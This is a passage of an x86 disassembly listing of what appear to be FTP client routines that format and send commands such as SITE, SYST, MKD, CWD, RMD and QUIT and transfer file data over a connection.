		mov	dword ptr [esi+1Ch], 0
		call	sub_401BDB
		add	esp, 4


loc_42E062:				; CODE XREF: sub_42DFD0+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_436F06
sub_42DFD0	endp

; ---------------------------------------------------------------------------
		db 56h
		db 90h
		db 0E8h, 0A9h, 0E1h
		dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42E0B0:				; CODE XREF: ___:00401CE4j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E0D9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E0D9:				; CODE XREF: ___:0042E0D0j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E130:				; CODE XREF: ___:004016C2j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E151
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E151:				; CODE XREF: ___:0042E14Cj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42E16C


loc_42E15F:				; CODE XREF: ___:0042E16Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42E16C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_42E15F


loc_42E16C:				; CODE XREF: ___:0042E15Dj
					; ___:0042E163j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E1A0:				; CODE XREF: ___:0040224Dj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E1C9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E1C9:				; CODE XREF: ___:0042E1C0j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E220:				; CODE XREF: ___:0040225Cj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E249
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E249:				; CODE XREF: ___:0042E240j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2A0:				; CODE XREF: ___:00401780j
		mov	eax, [esp+4]
		push	eax
		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_42D1A0
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2D0:				; CODE XREF: ___:004021FDj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E2F9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E2F9:				; CODE XREF: ___:0042E2F0j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E350:				; CODE XREF: ___:0040166Dj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_4456BC
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E371
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E371:				; CODE XREF: ___:0042E36Cj
		add	edi, 44h
		push	22h
		push	edi
		nop
		call	near ptr 77C47660h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E387
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E387:				; CODE XREF: ___:0042E382j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_42E3A5


loc_42E393:				; CODE XREF: ___:0042E3A3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42E3A5
		cmp	cl, 22h
		jz	short loc_42E3A5
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_42E393


loc_42E3A5:				; CODE XREF: ___:0042E391j
					; ___:0042E397j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E3D0:				; CODE XREF: ___:00401127j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E400	proc near		; CODE XREF: ___:0042E3E3p
					; ___:0042E663p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42E48A
		mov	esi, [esp+14h+arg_C]
		mov	cx, word_4456FC
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_42E43A
		mov	byte ptr [esp+14h+arg_10], 72h


loc_42E43A:				; CODE XREF: sub_42E400+33j
		cmp	edi, 49h
		jnz	short loc_42E444
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_42E444:				; CODE XREF: sub_42E400+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_42E4A4
		push	100h
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		call	near ptr 77C371FAh
		nop
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E48A:				; CODE XREF: sub_42E400+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42E49B
		mov	ebx, dword_50FA84
		jmp	short loc_42E4A4
; ---------------------------------------------------------------------------


loc_42E49B:				; CODE XREF: sub_42E400+91j
		mov	edx, dword_50FA84
		lea	ebx, [edx+20h]


loc_42E4A4:				; CODE XREF: sub_42E400+57j
					; sub_42E400+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
		call	sub_401F55
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42E4C7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E4C7:				; CODE XREF: sub_42E400+BFj
		push	2000h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_42E53D
		mov	ebp, dword_50FAA4
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp ; dword_50FAA4
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_42E593


loc_42E4FA:				; CODE XREF: sub_42E400+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_4021F3
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_42E523
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp ; dword_50FAA4
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jg	short loc_42E4FA
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E523:				; CODE XREF: sub_42E400+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E53D:				; CODE XREF: sub_42E400+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_402248
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_42E593
		mov	esi, dword_50FA94


loc_42E55A:				; CODE XREF: sub_42E400+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi ; dword_50FA94
		add	esp, 10h
		test	eax, eax
		jbe	short loc_42E581
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_402248
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_42E55A
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E581:				; CODE XREF: sub_42E400+166j
		push	offset aLocalfileWrite ; "localfile write"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_42E593:				; CODE XREF: sub_42E400+F4j
					; sub_42E400+121j ...
		push	edi
		call	near ptr 77C2C21Bh
		nop
		push	ebx
		nop
		call	near ptr 77C3EEF6h
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_42E5B6
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 4


loc_42E5B6:				; CODE XREF: sub_42E400+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401BDB
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42E400	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E650:				; CODE XREF: ___:0040169Fj
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E680:				; CODE XREF: ___:00401D2Fj
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_42E6B7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E6B7:				; CODE XREF: ___:0042E6AAj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, dword_50FA60
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_445504
		push	ecx
		call	edi ; dword_50FA60
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E6F8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E6F8:				; CODE XREF: ___:0042E6EBj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_445708
		push	eax
		call	edi ; dword_50FA60
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	short loc_42E754
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_445700
		push	esi
		call	near ptr 77C41B72h
		nop
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_42E754
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E754:				; CODE XREF: ___:0042E717j
					; ___:0042E738j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E7B0:				; CODE XREF: ___:004013BBj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_42E7E0
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E7E0:				; CODE XREF: ___:0042E7D5j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_445714
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E81B
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E81B:				; CODE XREF: ___:0042E80Bj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E880	proc near		; CODE XREF: sub_4016A9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_42E400
		add	esp, 14h
		retn
sub_42E880	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E8B0:				; CODE XREF: ___:004016C7j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E8E0:				; CODE XREF: ___:00401492j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42E979
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42E979
		mov	esi, dword_50FA60
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_44572C
		push	eax
		call	esi ; dword_50FA60
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	short loc_42E979
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_445720
		push	edx
		call	esi ; dword_50FA60
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E979:				; CODE XREF: ___:0042E901j
					; ___:0042E91Cj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E9C0:				; CODE XREF: ___:00401C67j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E9E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E9E9:				; CODE XREF: ___:0042E9E0j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_445738
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EA40	proc near		; CODE XREF: sub_401D52j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_42EA79
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_42D1A0
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_436F06
; ---------------------------------------------------------------------------
		mov	ecx, [esi+14h]
		mov	edi, dword_50FAC4
		push	ecx
		call	edi ; dword_50FAC4
		push	esi
		call	edi ; dword_50FAC4
		add	esp, 8
		pop	edi


loc_42EA79:				; CODE XREF: sub_42EA40+Aj
		pop	esi
		retn
sub_42EA40	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EA90:				; CODE XREF: ___:0040219Ej
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_42EAA0
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42EAA0:				; CODE XREF: ___:0042EA97j
		push	1Ch
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		test	eax, eax
		jnz	short loc_42EAB6
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42EAB6:				; CODE XREF: ___:0042EAADj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EB10:				; CODE XREF: ___:00401514j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EB29
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EB29:				; CODE XREF: ___:0042EB20j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EB60:				; CODE XREF: ___:004012D5j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_42EB85
		test	eax, eax
		jz	short loc_42EB85
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42EB85:				; CODE XREF: ___:0042EB74j
					; ___:0042EB78j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EBB0:				; CODE XREF: ___:004013ACj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EBC9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EBC9:				; CODE XREF: ___:0042EBC0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42EBDD
		cmp	eax, 1
		jz	short loc_42EBDD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EBDD:				; CODE XREF: ___:0042EBCFj
					; ___:0042EBD4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC00:				; CODE XREF: ___:0040150Fj
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC20:				; CODE XREF: ___:00401825j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC40:				; CODE XREF: ___:00401348j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EC59
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EC59:				; CODE XREF: ___:0042EC50j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC80:				; CODE XREF: ___:004021E4j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EC99
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EC99:				; CODE XREF: ___:0042EC90j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECC0:				; CODE XREF: ___:004019A1j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECF0:				; CODE XREF: ___:0040199Cj
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_42ED12
		dec	eax
		jz	short loc_42ED02
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42ED02:				; CODE XREF: ___:0042ECFAj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_42ED12:				; CODE XREF: ___:0042ECF7j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ED30:				; CODE XREF: ___:00401C08j
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_42EDCB
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_42EDCB
		push	18h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_42EDC2
		mov	eax, [esp+14h]
		test	eax, eax
		jz	short loc_42ED70
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42ED70
		mov	eax, [eax]
		jmp	short loc_42ED72
; ---------------------------------------------------------------------------


loc_42ED70:				; CODE XREF: ___:0042ED64j
					; ___:0042ED6Aj
		xor	eax, eax


loc_42ED72:				; CODE XREF: ___:0042ED6Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EDB8
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EDAF
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EDAF:				; CODE XREF: ___:0042EDA7j
		push	edi
		call	sub_401686
		add	esp, 4


loc_42EDB8:				; CODE XREF: ___:0042ED92j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_42EDC2:				; CODE XREF: ___:0042ED5Cj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EDCB:				; CODE XREF: ___:0042ED39j
					; ___:0042ED45j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EE10:				; CODE XREF: ___:004021E9j
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_42EE78
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_42EE78
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_401686
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42EE6E
		lea	eax, [esi+14h]
		push	eax
		call	sub_401686
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42EE5F
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EE5F:				; CODE XREF: ___:0042EE4Cj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401C76
		add	esp, 0Ch


loc_42EE6E:				; CODE XREF: ___:0042EE3Aj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EE78:				; CODE XREF: ___:0042EE1Aj
					; ___:0042EE21j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EEB0:				; CODE XREF: ___:00401799j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_42EF64
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42EF64
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
